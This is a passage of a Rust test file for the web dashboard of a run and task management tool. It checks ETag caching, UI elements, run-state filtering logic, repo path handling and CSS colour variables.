16940 assert_eq!(
16941 again.status, 304,
16942 "a deck it already has costs one round trip"
16943 );
16944 assert!(again.body.is_empty(), "304 carries no body");
16945
16946 let weak = fx
16949 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16950 .await;
16951 assert_eq!(weak.status, 304);
16952 let stale = fx
16953 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16954 .await;
16955 assert_eq!(stale.status, 200, "an older build must be replaced");
16956 assert!(stale.body.contains("renderRunActions"));
16957 }
16958
16959 #[test]
16960 fn the_task_detail_has_an_actions_fab_and_sheet() {
16961 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16962 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16963 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16964 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16966 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16967 assert!(APP_JS.contains("renderTaskActions(task);"));
16969 assert!(APP_JS.contains("renderTaskActions(null);"));
16970 let sheet = APP_JS
16972 .find("function renderTaskActions")
16973 .expect("sheet renderer");
16974 let body = &APP_JS[sheet..sheet + 3000];
16975 assert!(body.contains("changePriority("));
16976 assert!(body.contains("openTaskEdit(task)"));
16977 assert!(body.contains("renderTaskHoldBox(host"));
16978 assert!(body.contains("renderTaskDoneBox(host"));
16979 assert!(body.contains("renderTaskDeleteBox(host"));
16980 assert!(APP_JS.contains("API.priority(id)"));
16981 assert!(APP_JS.contains("API.deleteTask(id)"));
16982 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16984 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16986 }
16987
16988 #[test]
16989 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16990 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16991 let actions = INDEX_HTML
16992 .find("id=\"run-actions-box\"")
16993 .expect("actions box");
16994 assert!(task < actions, "the task entry comes first in the sheet");
16995 assert!(APP_JS.contains("renderRunTaskEntry"));
16996 assert!(APP_JS.contains("\"Open task \""));
16997 assert!(APP_JS.contains("started directly, no task"));
16999 assert!(APP_JS.contains("sheet-task-link"));
17000 assert!(APP_JS.contains("task-chip-link"));
17001 }
17002
17003 #[test]
17004 fn the_deck_never_sends_the_operator_to_a_terminal() {
17005 assert!(
17008 !APP_JS.contains("Run `magi fold` first"),
17009 "the deck must offer the fold, not prescribe a shell command"
17010 );
17011 assert!(APP_JS.contains("foldRun:"));
17012 assert!(APP_JS.contains("resumeRun:"));
17013 assert!(APP_JS.contains("renderRunActions"));
17014
17015 assert!(APP_JS.contains("armedFold"));
17017 assert!(APP_JS.contains("Yes, fold worktrees"));
17018
17019 assert!(APP_JS.contains("can no longer be resumed"));
17022 }
17023
17024 #[test]
17025 fn a_finished_run_explains_itself_with_its_own_last_line() {
17026 assert!(
17032 !APP_JS.contains("collapsed on agent quota"),
17033 "a stall must not be explained by a cause the deck did not check"
17034 );
17035 assert!(
17036 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
17037 "and a block must not offer a guess with an `or` in it"
17038 );
17039
17040 assert!(
17044 APP_JS.contains("setText(r.event, run.event || \"\")"),
17045 "the run's last line is rendered unconditionally"
17046 );
17047 assert!(
17048 !APP_JS.contains("moving && run.event"),
17049 "and never gated on the run still moving"
17050 );
17051
17052 assert!(APP_JS.contains("lost to quota"));
17054 }
17055
17056 #[test]
17078 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
17079 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
17080 let shapes_body_start =
17081 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
17082 let shapes_close = APP_JS[shapes_body_start..]
17083 .find("].map(")
17084 .expect("the shape list is closed by its done-computing .map(...)")
17085 + shapes_body_start;
17086 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
17087
17088 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
17089 for entry in shapes_src.split('{').skip(1) {
17090 let waiting = entry.contains("waiting: true");
17091 let dead = entry.contains("live: \"dead\"");
17092 let status_at =
17093 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
17094 let status_end = entry[status_at..]
17095 .find('"')
17096 .expect("the status string is closed")
17097 + status_at;
17098 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
17099 }
17100 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
17101
17102 let done_rule_marker = "done: !";
17106 let done_rule_at = APP_JS[shapes_close..]
17107 .find(done_rule_marker)
17108 .expect("the done rule follows the shape list")
17109 + shapes_close
17110 + done_rule_marker.len();
17111 let includes_at = APP_JS[done_rule_at..]
17112 .find(".includes(shape.status)")
17113 .expect("the done rule ends in .includes(shape.status)")
17114 + done_rule_at;
17115 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
17116 .trim()
17117 .trim_start_matches('[')
17118 .trim_end_matches(']')
17119 .split(',')
17120 .map(|s| s.trim().trim_matches('"'))
17121 .filter(|s| !s.is_empty())
17122 .collect();
17123
17124 let shapes: Vec<(bool, String, bool, bool)> = shapes
17125 .into_iter()
17126 .map(|(waiting, status, dead)| {
17127 let done = !not_done.contains(&status.as_str());
17128 (waiting, status, dead, done)
17129 })
17130 .collect();
17131
17132 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
17136 if waiting {
17137 return "waiting";
17138 }
17139 if dead
17140 && !matches!(
17141 status,
17142 "merged"
17143 | "ready"
17144 | "stalled"
17145 | "blocked"
17146 | "failed"
17147 | "verified_noop"
17148 | "superseded"
17149 | "already_in_base"
17150 )
17151 {
17152 return "stale";
17153 }
17154 match status {
17155 "merged" | "ready" => "landed",
17156 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
17157 | "already_in_base" => "ended",
17158 _ => "flight",
17159 }
17160 }
17161
17162 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
17165 match filter_key {
17166 "active" => !done,
17167 "flight" => !done && !waiting && !dead,
17168 "stale" => !done && !waiting && dead,
17169 "waiting" => waiting,
17170 "done" => done,
17171 "all" => true,
17172 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
17173 }
17174 }
17175
17176 let compatible = |section: &str, filter_key: &str| {
17177 shapes.iter().any(|(waiting, status, dead, done)| {
17178 run_section(*waiting, status, *dead) == section
17179 && filter_matches(filter_key, *waiting, *dead, *done)
17180 })
17181 };
17182
17183 let expected = [
17188 ("waiting", [true, false, false, true, true, true]),
17189 ("stale", [true, false, true, false, false, true]),
17190 ("flight", [true, true, false, false, false, true]),
17191 ("landed", [false, false, false, false, true, true]),
17192 ("ended", [false, false, false, false, true, true]),
17193 ];
17194 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
17195
17196 for (section, wants) in expected {
17197 for (filter_key, want) in filter_keys.iter().zip(wants) {
17198 assert_eq!(
17199 compatible(section, filter_key),
17200 want,
17201 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
17202 );
17203 }
17204 }
17205
17206 assert!(
17209 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
17210 );
17211 assert!(APP_JS.contains(
17212 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
17213 ));
17214 assert!(APP_JS.contains(
17215 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
17216 ));
17217 }
17218
17219 #[tokio::test]
17220 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
17221 let dir = tempfile::tempdir().expect("tempdir");
17225 let explicit = dir.path().join("not-a-checkout");
17226 std::fs::create_dir_all(&explicit).expect("create dir");
17227 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
17228
17229 let missing = dir.path().join("does-not-exist-at-all");
17230 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
17231 }
17232
17233 #[test]
17234 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
17235 assert!(APP_JS.contains("function statsDonutArcs"));
17236 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
17237 assert!(APP_JS.contains("function statusInBucket"));
17239 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
17240 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
17241 let buckets = [
17242 "merged",
17243 "ready",
17244 "in_progress",
17245 "blocked",
17246 "failed",
17247 "verified_noop",
17248 "superseded",
17249 "stalled",
17250 ];
17251 for key in buckets {
17252 let var = format!("--verdict-{key}:");
17253 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
17255 assert!(
17256 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
17257 "{key}"
17258 );
17259 }
17260 }
17261}